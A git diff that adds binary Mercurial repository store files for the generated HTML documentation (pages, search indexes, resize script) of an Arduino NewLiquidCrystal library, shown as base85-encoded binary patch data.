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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/pages.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/pages.html.i new file mode 100644 index 0000000000000000000000000000000000000000..885b0a1f913671d45af957480e39537d1ddce09a GIT binary patch literal 1590 zcmV-62FdvV0RRC20000000s5{01x8;00000006@O|NsC0|NsB~k(^3XGPtnTr)Wj% zWzoV%_*ZuT00000000000001ZoUK=FZ`(Ey{+?gKa>MEXv1OxZ(ImEk)=Ao+Nn4~T z+InvTd0D&cvcgMSX?(Wg}$=Qe5?Vlgd(aPomef<3T z>T-r~KS{nkntBEw+awUmKlJoZ%;gz+;Ns??fo5AMUKA~0=yw8O+lRaui$H&J(+Mi{F!cWdDLGEmyeJ}ZXf@exv zCT;(=Di}stc$;9$?rji0%~nJkW+$I-FZwTWvQNp^{^wWynaT@d`CPR1T%J#k8yQJ* zHo;3KnI=~0*10ovU%@&A>E&QF^b(d^!KUxo23>J5Lua}&mIx&HToYZLpc^KLWfXlR zOJ>GNIDaq}Tz*3<%@*JVnVUgo3`UxX2{yJ8%&Zu*7+LT)y6Fx$gC^6wuT@CIGo{p2S^K*ibzj4X&Q?kI`Cl*I(M*XYzu-gncK=0w zdVtXHJ*u)Yhio4XG=Q<{ElTMl(mO*G;jU$6xT4F}Iz9;DFrYEjOW9e%iyoX8))jb02-$8c%cku38$(|9@> zJR6K4AFv%PBw%8%t-0oGfv0a=jq?m$&CYz0Yqd4Em4%X}E&_?w;U^|2@j-MC{-940 zlN7l$GK~tNZODMzcoUjQNKm(nghP)2b4?)r9(J$QJ(?g1QTkNB_waTLAEEeyj}}B2 zcJwqHd)h&2DE~gf=Ax zgg61Kw{MkLFaG2d7POM7m)fL?AU_{Y0>Z5M90XLZRAG5S$>E=v7~ ztS_;>!f>Uscu;z_B67)kZ0+XEP81@r+7QsL<909r=SVv`GuQobgly9}P8$3E#0@j0 zu;vR?tk3Io7fb%sWxm8{t~7N38Fqo?$Bc*7HifPResrJ#^R@~5m%2d4Nhv~m4eita z_+AMUuW6hce^q1vhcHE8>M;ZrX`#WY!t<2wlsuzHlRB`y!tZKulU7d^^1*6;)f>bA50{vut?*=feNR?tYAzNjl?h-jo z(-eTMO}fa5aD0VRlBTtbCZ%u{p$hks=1jwo=0v2L70RTkNjGTo=mS%yhrKwI? zN>ZBUDGO5*S)!NlVTRp60?u`F{_5=dJPb}?RxL*B|UH||9 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/resize.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/resize.js.i new file mode 100644 index 0000000000000000000000000000000000000000..b07a5899f1296db489bab7591e9176f60857f5b7 GIT binary patch literal 1377 zcmV-n1)ll<0RRC20000000U_N00}|>00000006B2|NsC0|Ns9>$UG6I0c%q5bwb6& zq4nX^SOdNQ00000000000001ZoSjwMZsRr(efL*Pl>(8XOPpTvU_pK97HxqR3+yh? z$AFQ>7O^rVP?YW6!2jOiMH1yWZBZbOJ;RwZXKv(yNhsU)Gsh>v_SkowInQt(elYBJc?B=x69SYjxJ6`o#Ab8e!*zC=MUici%t$ zc=z28caLlR_pn~CqbP^_dmtKYXp~14cn_^WI3j*F&^{#_N43BH`RSvrp^2|+b5Z6i z^GuUN6HWh}1&M_gb(`pSZX;oDlylUWPCBOQ;y%!I2Y;`6{uTe?m8wH;rH(Xf?a`=- z#kZlAqwMGmDOPtf>*THRZ0;13y*6~aot1qbzU-OYaq$Ok)uv;z$KQnteUvDEjCF*w zDKRU{b`T1-t%S$!loBdJ%|z8;`phJO`}1>ag5D-RUSj89Idqh}YNbnliu^xn@UN*| zNsHVZLF;BvH&YcY`1v(s>eg?_ceV1{W$#O?C$3h^YG*gLY1_8Sv$EnVE1TwIHRnAV zLb{BXE`VRv!@6x2uyb|*?(Y9@#*31@ZJemK+bmed*UHHSS08jq*>gi%Zpvw$z+@iW z5KiC+c4{r9BnJLuyE9ti)M)}gL3d12szrNdD+k`0UQ>HUnrsY|%8_OeWz+BQ#SX*< z#*{+3HwPZU%W|=EIK$b2j_tGt;p90xjq{Z|A3GIx4ZL^Q?O8P5yGC><^Ilo4CV)+k zSBRN6VG-7a9Hf4Fnzl4oSXN8ijz_$p!}&eD2__Q!r(zws8O~;3*4M_xK3pN6f;@E+ z57er6?h-G&QXZ7fhQ6|;k)iE6bklbYS9A$cU!Eyy7*vw&di^BQBYlBBn)KLUsopX& zGrIa4yVLvk0000018D#N0004a000W`000000002B00000|NsC0qtMsm#1c`y2u&q6 z5XY6%>H3rA000000000000000c$|Gw%}(Pm5H?yk(5J8vQf#pecd8;GIDmvW?w*Z3 zNi0%NRCLj~+{0ZWGnKMuC*AYOyIts+Qb&>3 z2Ydb!&jwt8d<(H|h&|;fev%Z!4YWd}2~>{%LzOzdly&f_xrKm!SaGSge2giWf^hK7 z3P&h@Rzva>F&VJ0Y#}BA#^{0Nx%yZ;!dwnLa9ea5zpsV?ktDZ?nN&Ok#>i;3300trffSRTLw2Ka}1-$zh( j8Ab-&K;?#(cEe$e_S<^00000006cB|NsC0|NsB$>zWX62srIY_?OP( z*rGbrYz^1|00000000000001ZoRw2ebDJ;_z4I#+oty)bJ-K9R;1JuLdd6`*Hkr1k zj*7NGDod`k{@~vS0da9!ciI!n+xK?gE=zPX{WwX#tY)OZts<+ZhsAtCXvq1ey9wvh zbV@#dNFNtu#D*lbLc0=6qlMypwxom>h`V>3ACE_Nyko}ZJYDmXuQl@GE)21!WD+G! zg2-o*r~o082uoCuM7(_l(H2k;Ups`K`|=ReiO~oe!?fA~C0Y9xQ-l+?J;qrftOJan z()Zy#<*!Aw*g{Nm&|n1`+tW_XsjBgMvU@ffHVRehAH;%+sl!TvD*%uZtb2B?GUq5M zEPSsSAZ%7Jk9eueY`Mce_gNf7i&Elj7E__r*CBg$v>vog{F|=p^hU^=%>~gnBP)_A z;ap5N>y^mCFIScaQc91^wS?0vbmnbP;J%*4a~4L(Qs*@30>)UxYxYH%HMqUP#zLF= ztMMed3Bw?>AP_p`;C38@VSj?FhBnQ>jiqz=#?&8mOY=^iep}xL z%K>K!eE3k!<>0)bTh`nKlcn1!QN>gn4Rm~6_{-5X=|Nc1e&B9TBqkb;WYfn6^nya` aRbBwBW&gh7Zg%dEq`4XY&jl~@=T%bEDgu)L literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__0.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__0.js.i new file mode 100644 index 0000000000000000000000000000000000000000..8f047fb78704efd8a18e4eef8e2d3f924d2bc041 GIT binary patch literal 177 zcmZQzWME`~fI=Wu4rOos4+ZLrDp@BQEL5NG^ZP-p&IRKYM;1SWssU3KbF{s6f;9Ym zb-d0McH76*2MS&yT1dU;ZL>%9Cdr z>T0Tz%a=t&ESVuCy=10jq{Q-BlCz@JW=71CUOsENO4PDduO(is_-(O!#qnduijGDV LGcuUfsT>6WgQiI5 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__1.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__1.html.i new file mode 100644 index 0000000000000000000000000000000000000000..16bee3a647c9675a341f70b0d4bd74356ae2b300 GIT binary patch literal 536 zcmV+z0_Xhz0RRC20000000Gzl00Z>^00000006cB|NsC0|Ns95uMto9|G-8SR9%jF z?yi4ZX?0lu00000000000001ZoRw2ebDJ;_z4I#+oty(wJh^0Q;1JuLdd6`*Hkl@; zj*7NGDod`k{@~vS0da9!ciI!n+xK?gE=zPZ`8-aams3*UMv>*?{d_hiH01ot?U?gP zIw4P=(uX-2vKx|GpBsPn^0y*dY#^pNXs`l}?P(|GSk-tv*&Q3+GzwMfAH;%+sl!TvD*%uZtb2B?GUq5M zEPSsSAZ%7Jk9eueY`Mig_eJbQi&Elj7E__r*CBgxv>vog{F|=p^iIf|%>~gnBP)_A z;ap7DtEI@nFISd(Qc91^w1ndubmFa1;I5v)UxYxY^06}X+k#zLF= ztMMed3d10?AP_p`;Cd8)hStr%jipog&eR`u3-cf_E1-6{Fr=^iZd2a| z%K@hfe0X2Ygn4Rmx__{-5H>0VgUe&B9TBqkaTWZlOG^o&C5 aRh|K?W&gh7Zg%dEq`4XY&jqjcY*katF96v9 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__1.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__1.js.i new file mode 100644 index 0000000000000000000000000000000000000000..b2d232ed6c1df070b239e93b0543e9d325c474c2 GIT binary patch literal 444 zcmV;t0Ym-(0RRC20000000Dde00STZ00000006cB|NsC0|NsBAMh6eXk$*Rm^+pfW z2PRpzn61SC00000000000001ZoRyMKOKUL@#rORb1s7ML)cl=E6gSq5AiRa(MlNBJ zOzg$0VsD?&Z~yYHt%$auo5^I6-#L>xZ?u{YOsllKqBUJi?kCgfeG@4?_T9sB-ORpR z=JV6k(=dcSq>$&!^;3UDk(>i8tdtZf7IHZ{@JcuoKC%?eOwO8{#Z}X`?d)BEAG+re zzH2_fovP$6ylmM}oHSr{_Cn{RN&$983Fe628sd?CtrpjR&dx^I@k!GjGOCMpm}QDl zW$O_v7Z7BXglM5K?Tj8mb+3QB9MWnttf>!S^tweev!YB^V-cyulF5P8TA64u8G?88 z2v}_2SJ%H0sz=;}H`*y`lh~)?rH{V2%(hme$gnp_QjGf*!{z3V(oc1V&m*EKnH_*H z!XsKsbrqx$>Tf#4v`_H%@QmL!U3Zb|1T`{%F_V-oDHc_x=nTc+h`;^1>W@VA-Sgv^ ms9m!+0S;Z%P-{)8`kznj!Eg<*CQ6L>IjWQPeDV(&gZEWr^VhZj literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__2.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__2.html.i new file mode 100644 index 0000000000000000000000000000000000000000..8dfe56b2acd911af3a2cc16536864848418810e4 GIT binary patch literal 537 zcmV+!0_Oby0RRC20000000G$m00Z>^00000006cB|NsC0|Ns9NsAUXm|L^{_X2e7~ z^M2YFIscXb00000000000001ZoRw2ebDJ;_z4I#+oty(w+*~p>aER?rJ>$3@n@rnN zMnzj7l_ghNfAH^%fVen~JMD?(?R&d#mnFKId>W@;ms3*UMv>*?{d_hiH01pA?U?gP zIw4;^rVn#6WH%(WLc0=6qlMypx}by>h}-v^9}Wk0xMjxXJYDgluQl}IE)21!WD+G! zg2-o*r~o082uoCuM7(_l(FRZuUps`KyK*1XvC#+`!?fB0C0Y9xQ-mY7Jw{m}tOJZ6 z(+}Yta10?z7m77Nx}5ET%%Kr+4hx(R$D}@o&1W(<>owHWx(SjI2ne zgmW=nua+VQzg$`FNhv)t(-Mv^(22K3fxCJZ&zTz`OP$lC3m9V&ui0m1R^WCD8w+jf zuf~(;Dhz|nfWchW!aH8d^64Hx{lMLxNK7;w$hwaW=oy99 bt2_f(%l>o4-R#^SNpmy)p9_8g`0-U#L8kfE literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__2.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__2.js.i new file mode 100644 index 0000000000000000000000000000000000000000..d63e46bf7161272cf69ea9108292ac2964a1fc6c GIT binary patch literal 244 zcmZQzWME`~fGrFRjM`B4*8fmov~B}W=nb31yIV?MU2Kfs&0{%D2&x85Rm`b9yOFQS zK!EMRUVq0&7g`g%y>pZ2Bz)oZaPE6;%44e5V7Fi6n1Mk4ulMr%{&Oaq3HDf+7#wch zs&hK3FLPzZK2F!dBP^G%EalrB!1GyGR-vh|&&B_}FxNz#pe^dJ4tiZVP(1T<_T7T_ zwfhb!AM~-P`FcK_zg}(55!P^00000006cB|NsC0|NsB`XB!yUvd|dzTr^iE zUdcl-yeLfo00000000000001ZoRw2ebDJ;_z4I#+oty(wJicUV;1JuLdd6`*Hkr1k zj*7NGDod`k{@~vS0da9!ciI!n+xK?gE=zPX{WwX#tY)OZts<+ZhsAtCXvq1e(S-A9 zIwhY!q>l?SWOpRBLc0=6qlMypwxom>h`V>3ACE_N95G{ap04@H*BW|p7lznVGKrEV zLF6+@RDh64ge59SBHliOXbUKauN}hAeR+uK#ApPKVOs5glB|7;DZ&Zc9^HF}W^4B6-Y$2vOXs`l}?P;gxRMmJr**zQHH40VgAH;%+sl!TvD*%uZtb2B?GUq5M zEPSsSAZ%7Jk9eueY`Mce_gNf7i&Elj7E__r*AaVmv>vog{F|=p^hU^=%>~gnBP)_A z;ap5N>y^mCFIScaQc91^wS?0vbmnbP;J%*4a~4L(Qs*@30>)UxYxYH%HMqUP#zLF= ztMMed3Bw?>AP_p`;C38@VSj?FhBnQ>jiqz=#?&8mOY=^iep}xL z%K>K!eE3k!<>0)bTh`nKlcn1!QN>gn4Rm~6_{-5X=|Nc1e&B9TBqkb;WYfn6^nya` aRbBwBW&gh7Zg%dEq`4XY&jm00c2!k|@&A?p literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__3.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__3.js.i new file mode 100644 index 0000000000000000000000000000000000000000..b1cf649724c3100bfd71a68c20ad9493e5506243 GIT binary patch literal 337 zcmZQzWME_f14cmx1|~@en_=sJD7b0=X=&91&mLZ{(^r@;ITvqOB3TMm1EwnGwDvoC zA9fIMd;e3El|PW9w0x8G=9Lv$`mBx@n%OxM%gV2@DR~Kr{NEdu%@gtQTkZ7k75aDd z*&f=xF|+xUS~g!-?0aR7{H=+*<1C&XEy?FA-)X}y%kO;INqE+_%BXk8j=yVRR%i%| z+WdLhC&wL=S{$TW<|d!wj(rjxk-t8CwdAKSI_sZbiI2&hoNy&&Qn=Ue15X5|8U-Z= z?bG>w=l0_VyY!y9uCKK|rStOL@Bdd*REXvIX$1fGu`m*@S=pOT@; zyo}=khmeFg>&~D#4N0tleXhPw=C69V^YQle3o`vKy*n(yZ}(cXb;%lwjZO!rW%zDt a4E4BH8UD65{PkINo7MW8%C+Y%t^fc=Y?n;{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__4.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__4.html.i new file mode 100644 index 0000000000000000000000000000000000000000..eaa5ebc1e6fd005e6da0e1f7e0d8c68030b17690 GIT binary patch literal 537 zcmV+!0_Oby0RRC20000000G$m00Z>^00000006cB|NsC0|NsB963BLv}+_E3_-IG+HRmrwdAGfw+Co`QdP2hg)WB&eIh?`dULT?!pjzN+wa# zB#3+_i3$)hiLgWkNyOV{5N!Yj@wG$vxhwZE9UG0HF-)s1P?EK8F-16H+hdd!!aBhC zG5rwUQT|dyiw(py2Mt!Bu|4g?9IG0yC%a?An?|8Z{exIgF?Coea0LKTf_2ZXRpuNe zg@x}m1BA^A<`FM-nJu^2=RS+QXi-X>&0;E)dV0s69jym#6aS{`I=vF|W^+OG&B%&m zN;ntO^=c_{@XM9uo|MufGcDox0-bnk6u7Hr@tnC4veY?Ex_~hj@tS>BW(97iu(8ml z{%SmluEH?LEC_^7Ik+ALVc4JGqM>y&aAWBdzB2WuZebn-W(CwP7lw54fB2Oq+imLG zU^(Dafe-JinH-!pbj_N(V6t>uC90Teqk)bt3x7MhB;5;3+7I0AiNr+1fvo%3fSyrk by~;Cywd_Av+|ADYku*2s|GD57{rgo`!Q1_9 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__4.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__4.js.i new file mode 100644 index 0000000000000000000000000000000000000000..ed60d4db9af4cba7237083776d9ab17a91989cb0 GIT binary patch literal 169 zcmZQzWME`~fJ`8j4P|fr4+U2RExhkFW-V@HpPF#?(evfpJHE|?ssU3KbF{s6f;9Ym zb-d0MctY1w)7=ts+sCqHUdNviI&Jk_~!rP{Ji z&126p*`^(9bIV+&Ic=Jlo7=KyE8QFph8S~~$~w!I%BPEey>TOAT|~AX19OSI1^_0~ BM4kWu literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5.html.i new file mode 100644 index 0000000000000000000000000000000000000000..e9f92b46eb8cb6c12ead7854d8de7312c7018d78 GIT binary patch literal 538 zcmV+#0_FVx0RRC20000000G(n00Z>^00000006cB|NsC0|NsA?fs1V!D7vY=<0Fz1 z|1qwv==f*=00000000000001ZoRw2eZ`&{oz57?FI;96o4T=H9V*Ah}!vdsPkhs`( zDm06;-6>KgF(3Z-vurnWx@Oo;rXSxUA89(entU3kUzbx-;6{<<Hwmn8!A*=(8 zAJY%v9px`YwAesQbI@P~8r#!O%(1HRda^q@;Om)UZQeeSc^ix#EC*(|0)si$}B+0lB?Ht}z|uG1?aZ#EZ1-;AtC zri61bU9XlR2ftid?nx;2Wme#J3L6V; z>aWI==qe0@%z{AZl!NP05QhB;E*e@l12>jV;VV;b>K5ifU{*lwa$!gp|A${`vfZY> z4VD8=75MPJn#sXwL)Wai3nojqRicWiHX7*YvhcT~OVYitr2W9%o=8kI9LTzl4d@w# c)~h@NSj+x%#og@OA4zjF{+|ne0RWFxSCF>%?EnA( literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5.js.i new file mode 100644 index 0000000000000000000000000000000000000000..f1d709557524d56d6813590d87f9240b2b7a0fa4 GIT binary patch literal 190 zcmZQzWME`~fI1+x0LtF_9|}U3ZqED?*nedHN~vE?x6GxVCW%Es)qtsrIojSjK^lI( zI$q}rJas&`JnecG6wncN-o)$NnegkKVc$)PzI|ag{PN|?0ShgOBz znZ1e}+i5Zr5;ieV-hOQe9ayypkERk*jQxF%eNLR%@rT>{(fpr>G05ej1P`A--c3dT z_HFwM9@+No{1$xuYyRmDAj<*shE{DMi@KtvZI7oAz+B4ZAGW>OY^)8o>gLIwKibc_ zFQk*ZVqYF*T3m8C?8Ule80UiWVJr(-ieYT;uf2F7Bn7(fzW8@ltOsyZS5j26Ki@6| z1Z@9r0Ht`A`+MB5oHnhHgU|Cn`vlsmld`D3gGQ7C*vf4w+FS?;fmA(oiL7lQ$QzNV z2tgZ`Te?Q4wyY_Z@;LSzUDJIn1Z~4!GQPD?jeFms67Ai5dU0CwEnp>W+X0+CKF}wj zr_75rD7dbfR9rkCs$Sw|lFF4Dla9HoDKDxgIP40RWyQ9N{(sJ+Xji3#UB5}npKVw10Q5yXa*j zbf1@oua+0Z{-Cg3q;+{PV_EjDB`Fh@a7(-XjS`ZgKu|~cEaZsMl=+Sma*w1ekpX*T$X}(vT4DhXKmG*Vvx|dS46Ks$%+0bD;*; zM1yOl!8Op}nrg_L2&WWhL?8zRZV;xPLz#SXG7M#F*7`+8W^TwLe?n>fH`4zPg( zZ0I0#gEXQ6;ZB4&Cjr3}5kYW%cQ{;F&q_3>1#2roUlfTE0v&sGRtcG2r zmH(uQYPC?i5OL|}*f(+Dn>p|e9QcOofFT@u5kgstJUu9wNQ23`4(b#^O0j6d}IJzlfbLe0%m6CIaA7e8(% z{OV;7eQoVd09N^00000006cB|NsC0|NsBkAzl&yF}}nVc+;f` zH`w_jJ)N@v00000000000001ZoRw2eZ`&{oz57?FI;96o4GIj!V*Ah}!vdsPkhs`( zDm06;-6>KgF(3Z-vurnWx@Oo;rXSxUA89(entU3kUzbx-;6{<<Hwmn8!A*=(8 zAJY%v9px`YwAesQbI@P~8r#!O%(1HRda^q@;Om)UZQeeSc^ix#EC*(|0)si$}B+0lB?Ht}z|uG1?aZ#EZ1-;AtC zri61bU9XlR2ftid?nx;2Wme#J3L6V; z>aWI==qe0@%z{AZl!NP05QhB;E*e@l12>jV;VV;b>K5ifU{*lwa$!gp|A${`vfZY> z4VD8=75MPJn#sXwL)Wai3nojqRicWiHX7*YvhcT~OVYitr2W9%o=8kI9LTzl4d@w# c)~h@NSj+x%#og@OA4zjF{+|ne0Rt3OSh0%q>Hq)$ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6.js.i new file mode 100644 index 0000000000000000000000000000000000000000..4d9755edc4264c5fc0b165ccc56e8b90c341ae18 GIT binary patch literal 905 zcmV;419toX0RRC20000000T(?01d$a00000006cB|NsC0|NsASw1;OtUJtH77oLg| z3VKtKGkW8#ckHZfxt66gyMY0Tqwx&+9{D)Z7pNyqhMMj_K?^^g-JMM)cheQ6 z>FjR$+x4gQ?ds|St)OYDRYg_0x^MqpO=ohpnO^kIpMwyHDxuU-cqIYJqcT7S11aw) zYr3g7BRk_=BAQ{9=kpHTxma3u?Ww2R1Kvj43 zIRIJhlZ@6{p9KbBAPHU?Bf$jI!`OQN|FE`xv}3O5w)!chdN5yyL0IWI1miQZh%7P? zVbdd)`Uty!ju2`V`Tcq#;TMkwvy5q4Jc#p>fu{Z=i2b%s|zZ zD?WdL{_3lKe*WWSYM7UD!{@5(GEj_P_ZlbpaI?}y!02ALX&$lBl^H0w!=sh9pHJQ&352txdGVy&0b$Q8*veSS_FW z;K|!jfUXo5n+PPF-2_2qraST@9?)pF~pCx1KIol0RRC20000000QO!00+VV00000005}}|NsC0|Ns9Y;}f#=!(!0DqcrUv zvnuGCmgv*~00000000000001ZoV8U=bJ{Qvz4I$n^+IOqZv&<=%p`8T zjJx0t{rna@43VXqD9A}##3JS?NerVu!U#t~WM2(qv)SkyN9Xy%2qwm>ie)KsX=>t# zsWZWFx8|#pt{(wmU0=i^fv#`te{22{1VJjc2ESMFx`TT>6_5%o*k*tc-T&)g0k2}8 zEJ?a6DT48fsv3AN+K-^jG`Ro5&pk_D)eS-eIuQ=UP};PuUQ zz)b}aD|sh{8FIqnbb-62q3gPDNc7*F2^6bD;4*GV1YgE9Y|Li~r!O)CI)(RBk#Ch7 z`DDi#2w0jJ@$?0@jBnBo&Oxm56zvP#hcEOIS=V7LoBqYTD$!XED(0o|Rdx~fy&2o( zj3;jb>ADflNg={Gx8ll$+!W`BvaC zBe_h0yEno3VbBY2hvVLN-ypkA6d6g65>qZ;vhKaiHW=%XR97CWMwacbqJnIZ;OapH zTquTBMGUK&7*+)_tg2!-O`BTY%xVy`-7+0;ZLp~AHmTckZ4>6_#hCP`!B{-jE22GEB kb$kNBSJ$;u<@e~i^lRG5ZYdkCcFS(ns0CX40}%X}J=OVxYybcN literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__62.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__62.html.i new file mode 100644 index 0000000000000000000000000000000000000000..626285d876accf10b3c31c377200a9a357915677 GIT binary patch literal 1367 zcmV-d1*rM}0RRC20000000Z~{01fv500000005}}|NsC0|NsAdE_HP6T%8DHnHco4 zF!PM*h#yG+00000000000001ZoVAy2bK*7-$KUfQbn1&EGsVwOB!-!WBt53NB$IH{ z_LXNXt+DSMo7w`xx36qW0%=I>Y5N9*wEwmCxAL;`KV95TW`EvYl2|;Zjk$ zKvjP?C#rfeyC8pjnSH$`x}uR;0a=-dB+npK)yo@7Xe`9yR8`mOwX!yqyqK%Ad-bXE zrB~u+I1qbEg$qu{J-=ER`!NC^`yvr3j(v6e-SZz&0I7Tr@ULaE8qrCf3CzS`wpk!0 zZ2N0O1wM)GGtO8HMTuhcZFV*As4AVLN%n&jn2u;EHYt`dqM$@b4~>wOB_(lzk+eW4 zSgcetm9%6{aSO6`pFi&^6Q53aa3DSTCT&c4C6NKP-jvJw2=o$+n@ObDsLqqdiZ5X01!xB); z<$0jN0t)#AI(|mut58!Y7m)2el;!eljjtycGM{p#;@1H0!acB~Jc?S<*SpZyyV2J> z(AVFkzXcz7al>AVYz@#1t&oS7!MP3GwL*hAngy<{+i$Qx|7G&q_4L;-v*7mX>LdP2 z{I4^RwM>A~B>_ga1Q;C>V020V*dcJ8*?MG0z%*kRnH+&d7+D^(t?>N>-26}cah|lr zZg#(wExlBP#;E+MU+7;j0 z#cso`Yw!`(drr~#VcCux8v$~Wwt6O=qI+Qo7V^ih1UT8Y< 